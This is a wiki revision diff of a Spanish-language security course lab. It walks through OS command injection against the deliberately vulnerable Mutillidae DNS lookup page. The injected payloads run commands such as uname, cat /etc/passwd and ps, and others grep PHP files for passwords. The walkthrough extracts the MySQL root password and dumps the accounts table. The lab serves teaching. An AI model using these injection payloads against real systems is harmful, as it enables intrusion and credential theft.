Herramientas de usuario

Herramientas del sitio


sad:fedora14:p2

Diferencias

Muestra las diferencias entre dos versiones de la página.

Enlace a la vista de comparación

Ambos lados, revisión anterior Revisión previa
Próxima revisión
Revisión previa
sad:fedora14:p2 [2018/01/24 15:26]
José Manuel Guallar
sad:fedora14:p2 [2019/01/04 13:18] (actual)
Línea 32: Línea 32:
 Posteriormente arraco el servicio mysql en el sistema Fedora con la sentencia Posteriormente arraco el servicio mysql en el sistema Fedora con la sentencia
  
 +<code bash>
 [root@fedora14 estudiante]#​ service mysqld start [root@fedora14 estudiante]#​ service mysqld start
 +</​code>​
  
 {{:​sad:​fedora:​p2:​02.png?​500|}} {{:​sad:​fedora:​p2:​02.png?​500|}}
Línea 40: Línea 42:
 {{:​sad:​fedora:​p2:​03.png?​500|}} {{:​sad:​fedora:​p2:​03.png?​500|}}
  
-vamos a ver como funciona DNS Lookup+Vamos a ver como funciona DNS Lookup
  
-vamos a la solapa OWASP Top 10 --> A2 - Cross Site Scripting (XSS) --> Reflected (First Order) --> DNS Lookup+Tenemos que ir a la solapa OWASP Top 10 --> A2 - Cross Site Scripting (XSS) --> Reflected (First Order) --> DNS Lookup
  
 {{:​sad:​fedora:​p2:​index.13.jpg?​500|}} {{:​sad:​fedora:​p2:​index.13.jpg?​500|}}
Línea 54: Línea 56:
 El procedimiento de agregar un ";"​ después de lo que la aplicación espera, se llama comando fuzzing. El procedimiento de agregar un ";"​ después de lo que la aplicación espera, se llama comando fuzzing.
  
-A continuación,​ ejecutará el comando "uname -a", que si esto funciona, nos daria el nombre del host (fedora14) y la version del sistema operativo+A continuación,​ ejecutará el comando "**uname -a**", que si esto funciona, nos daria el nombre del host (fedora14) y la version del sistema operativo
  
 +<code bash>
 www.colegiomontessori.com;​uname -a www.colegiomontessori.com;​uname -a
 +</​code>​
  
 {{:​sad:​fedora:​p2:​05.png?​500|}} {{:​sad:​fedora:​p2:​05.png?​500|}}
  
-Realizar Reconocimiento+======  ​Realizar Reconocimiento ​======
  
 Si vemos que nos da la versión del sistema operativo, ¿No crees que sería bueno saber dónde se está ejecutando la aplicación de la página web en particular? Si vemos que nos da la versión del sistema operativo, ¿No crees que sería bueno saber dónde se está ejecutando la aplicación de la página web en particular?
  
-Ahora vamos a ejecutar el "​pwd"​ para mostrarnos el directorio de trabajo actual.+Ahora ejecutamos ​"​pwd"​ para mostrarnos el directorio de trabajo actual.
  
 Además, observa en la barra de direcciones que la aplicación se llama dns-lookup.php Además, observa en la barra de direcciones que la aplicación se llama dns-lookup.php
  
-entonces ejecutamos www.colegiomontessori.com;​ pwd +entonces ejecutamos 
 +<code bash> 
 + www.colegiomontessori.com;​ pwd 
 +</​code>​
 {{:​sad:​fedora:​p2:​06.png?​500|}} {{:​sad:​fedora:​p2:​06.png?​500|}}
  
-Interrogar la aplicación dns-lookup.php+====== ​Interrogar la aplicación dns-lookup.php ​====== 
  
 Solo por observar, veamos si podemos encontrar la línea de código donde PHP está ejecutando una llamada al sistema. Solo por observar, veamos si podemos encontrar la línea de código donde PHP está ejecutando una llamada al sistema.
Línea 78: Línea 85:
 Usaré el comando xargs para buscar, egrep, para seguir las cadenas: exec O system O virtual. Usaré el comando xargs para buscar, egrep, para seguir las cadenas: exec O system O virtual.
  
 +<code bash>
 www.colegiomontessori.com;​ find /​var/​www/​html/​mutillidae -name "​dns-lookup.php"​ | xargs egrep '​(exec|system|virtual)'​ www.colegiomontessori.com;​ find /​var/​www/​html/​mutillidae -name "​dns-lookup.php"​ | xargs egrep '​(exec|system|virtual)'​
 +</​code>​
  
 {{:​sad:​fedora:​p2:​07.png?​500|}} {{:​sad:​fedora:​p2:​07.png?​500|}}
Línea 84: Línea 93:
 Encontramos que hay una función que esta llamando a shell_exec() que actualmente es´ta ejecutando el comando de Linux nslookup Encontramos que hay una función que esta llamando a shell_exec() que actualmente es´ta ejecutando el comando de Linux nslookup
  
- +Ahora vamos a descubrir la Base de Datos usando el fichero ​**/​etc/​passwd 
-Ahora vamos a descubrir la Base de Datos usando el fichero /​etc/​passwd +**
 Vamos a buscar en /etc/passwd algunas de las siguientes palabras Vamos a buscar en /etc/passwd algunas de las siguientes palabras
  
-  ​postgres, sql, db2 y ora+**postgres, sql, db2 y ora**
   ​   ​
-para eso vamos a escribir+para eso escribirmos :
  
 +<code bash>
 www.colegiomontessori.com;​ cat /etc/passwd | egrep -i '​(postgres|sql|db2|ora)'​ www.colegiomontessori.com;​ cat /etc/passwd | egrep -i '​(postgres|sql|db2|ora)'​
 +</​code>​
  
 LOL LOL LOL nos dice que mysql es la base de datos que están usando LOL LOL LOL nos dice que mysql es la base de datos que están usando
Línea 99: Línea 109:
 {{:​sad:​fedora:​p2:​08.png?​500|}} {{:​sad:​fedora:​p2:​08.png?​500|}}
  
-Vamos a descubrir el motor de base de datos con el comando "​ps"​+Vamos a descubrir ​cual es el motor de base de datos que se esta usando ​con el comando "​ps"​
  
 Usemos el comando "​ps"​ para buscar las siguientes procesos: postgres, sql, db2 y ora. Usemos el comando "​ps"​ para buscar las siguientes procesos: postgres, sql, db2 y ora.
-    Instrucciones:​ 
  
-www.colegiomontessori.com;​ ps -eaf | egrep -i '​(postgres | sql | db2 | ora)'+<code bash> 
 +www.colegiomontessori.com;​ ps -eaf | egrep -i '​(postgres|sql|db2|ora)'​ 
 +</​code>​
  
 El mysqld (daemon) se está ejecutando. El mysqld (daemon) se está ejecutando.
Línea 110: Línea 121:
 {{:​sad:​fedora:​p2:​09.png?​500|}} {{:​sad:​fedora:​p2:​09.png?​500|}}
  
-Ahora vamos a listar ​todos los scripts de php+====== Listar ​todos los scripts de php ====== 
  
 Nuestro siguiente paso es tratar de averiguar si alguno de los scripts php ubicados en /​var/​www/​html/​mutillidae contiene un nombre de usuario y contraseña de la base de datos. ​ Nuestro siguiente paso es tratar de averiguar si alguno de los scripts php ubicados en /​var/​www/​html/​mutillidae contiene un nombre de usuario y contraseña de la base de datos. ​
Línea 116: Línea 128:
 Pero, primero enumera todos los scripts php. Pero, primero enumera todos los scripts php.
  
 +<code bash>
 www.colegiomontessori.com;​ find /​var/​www/​html/​mutillidae -name "​*.php"​ www.colegiomontessori.com;​ find /​var/​www/​html/​mutillidae -name "​*.php"​
 +</​code>​
  
 {{:​sad:​fedora:​p2:​10.png?​500|}} {{:​sad:​fedora:​p2:​10.png?​500|}}
Línea 124: Línea 138:
 Buscar scripts php para la contraseña de cadena Buscar scripts php para la contraseña de cadena
  
-Ahoravamos a buscar ​en los más de 900 scripts en PHP la palabra "​contraseña"​ y "​="​.+Ahora buscamos ​en los más de 900 scripts en PHP la palabra "​contraseña"​ y "​="​.
  
 +<code bash>
 www.colegiomontessori.com;​ find /​var/​www/​html/​mutillidae -name "​*.php"​ | xargs grep -i "​password"​ | grep "​="​ www.colegiomontessori.com;​ find /​var/​www/​html/​mutillidae -name "​*.php"​ | xargs grep -i "​password"​ | grep "​="​
 +</​code>​
  
 y observamos la respuesta 8-om(8-o y observamos la respuesta 8-om(8-o
Línea 132: Línea 148:
 {{:​sad:​fedora:​p2:​11.png?​500|}} {{:​sad:​fedora:​p2:​11.png?​500|}}
  
-ahora observamos que en MySQLHandler.php contiene la siguiente cadena: +y observamos que el fichero ** MySQLHandler.php** contiene la siguiente cadena:
-        $mMySQLDatabasePassword = "​samurai";​+
  
 +<code mysql>
 +$mMySQLDatabasePassword = "​samurai";​
 +</​code>​
 {{:​sad:​fedora:​p2:​12.png?​500|}} {{:​sad:​fedora:​p2:​12.png?​500|}}
  
 Hemos hecho parte del trabajo, porque ahora tenemos la contraseña "​samurai",​ que está en el fichero MYSQLHandler.php ​ pero no sabemos el usuario que utiliza esa contraseña,​ por lo que  vamos a buscar en MySQLHandler.php las palabras usuario (user) o login Hemos hecho parte del trabajo, porque ahora tenemos la contraseña "​samurai",​ que está en el fichero MYSQLHandler.php ​ pero no sabemos el usuario que utiliza esa contraseña,​ por lo que  vamos a buscar en MySQLHandler.php las palabras usuario (user) o login
  
 +<code bash>
 www.colegiomontessori.com;​ find /​var/​www/​html/​mutillidae -name "​MySQLHandler.php"​ | xargs egrep -i '​(user|login)'​ | grep "​="​ www.colegiomontessori.com;​ find /​var/​www/​html/​mutillidae -name "​MySQLHandler.php"​ | xargs egrep -i '​(user|login)'​ | grep "​="​
 +</​code>​
  
 {{:​sad:​fedora:​p2:​13.png?​500|}} {{:​sad:​fedora:​p2:​13.png?​500|}}
Línea 145: Línea 165:
 Nos da mucha información,​ por un lado nos dice que el usuario es root y por otro lado como php se conecta y autentifica con MySQL, eso lo podemos ver en las lisneas $this->​mMySQLConnection _... Nos da mucha información,​ por un lado nos dice que el usuario es root y por otro lado como php se conecta y autentifica con MySQL, eso lo podemos ver en las lisneas $this->​mMySQLConnection _...
  
-Mostrar MySQLHandler.php+**Mostrar MySQLHandler.php**
  
 Creo que podría haberte mostrado esto primero, pero las cosas buenas llegan a los que esperan. Creo que podría haberte mostrado esto primero, pero las cosas buenas llegan a los que esperan.
  
-Es posible visualizar los contenidos del programa MySQLHandler.php,​ codificando las etiquetas "<? Php" y "?>"​. Estas etiquetas le dicen a Apache que ejecute un script php. +Es posible visualizar los contenidos del programa** MySQLHandler.php**, codificando las etiquetas "<? Php" y "?>"​. Estas etiquetas le dicen a Apache que ejecute un script php. 
  
 Para evitar este problema y simplemente mostrar el texto del programa, cambiamos "<"​ a "& # 60;" y ">"​ a "& # 62;". Para evitar este problema y simplemente mostrar el texto del programa, cambiamos "<"​ a "& # 60;" y ">"​ a "& # 62;".
 +<code bash>
 www.colegiomontessor.com;​ find /​var/​www/​html/​mutillidae -name "​MySQLHandler.php"​ | xargs cat | sed '​s/</​\&#​60;/​g'​ | sed '​s/>/​\&#​62;/​g'​ www.colegiomontessor.com;​ find /​var/​www/​html/​mutillidae -name "​MySQLHandler.php"​ | xargs cat | sed '​s/</​\&#​60;/​g'​ | sed '​s/>/​\&#​62;/​g'​
 +</​code>​
  
 {{:​sad:​fedora:​p2:​14.png?​500|}} {{:​sad:​fedora:​p2:​14.png?​500|}}
Línea 159: Línea 180:
 Aqui sacamos mucha mucha información LOLLOL por un lado "​root"​ el usuario de la base de datos, por otro lado "​samurai"​ la contraseña de la base de datos y por ultimo "​nowasp"​ el nombre de la base de datos Aqui sacamos mucha mucha información LOLLOL por un lado "​root"​ el usuario de la base de datos, por otro lado "​samurai"​ la contraseña de la base de datos y por ultimo "​nowasp"​ el nombre de la base de datos
  
 +<code mysql>
     static public $mMySQLDatabaseUsername = "​root";​     static public $mMySQLDatabaseUsername = "​root";​
  
Línea 165: Línea 186:
  
     static public $mMySQLDatabaseName = "​nowasp";​     static public $mMySQLDatabaseName = "​nowasp";​
 +</​code>​
  
-Ahora podemos ir al terminal de nuestro Backtrack+Ahora podemos ir al terminal de nuestro ​**Backtrack**
  
 +<code bash>
 root@bt:~# mysql -h 192.168.153.39 -uroot -psamurai root@bt:~# mysql -h 192.168.153.39 -uroot -psamurai
 mysql> show databases; mysql> show databases;
 mysql> use nowasp; mysql> use nowasp;
 +</​code>​
 {{:​sad:​fedora:​p2:​15.png?​500|}} {{:​sad:​fedora:​p2:​15.png?​500|}}
  
-Ahora vamos a nevegar por la tablas+====== A nevegar por la tablas ​====== 
  
 Basicamente vamos a mirar que tablas contienen información del usuario y de la contraseña Basicamente vamos a mirar que tablas contienen información del usuario y de la contraseña
Línea 180: Línea 204:
 {{:​sad:​fedora:​p2:​16.png?​500|}} {{:​sad:​fedora:​p2:​16.png?​500|}}
  
 +<code mysql>
 mysql> select * from accounts; mysql> select * from accounts;
 mysql> quit; mysql> quit;
 +</​code>​
  
 {{:​sad:​fedora:​p2:​17.png?​500|}} {{:​sad:​fedora:​p2:​17.png?​500|}}
 +
  
 **''​Print de pantalla a entregar''​** **''​Print de pantalla a entregar''​**
sad/fedora14/p2.1516807588.txt.gz · Última modificación: 2019/01/04 13:18 (editor externo)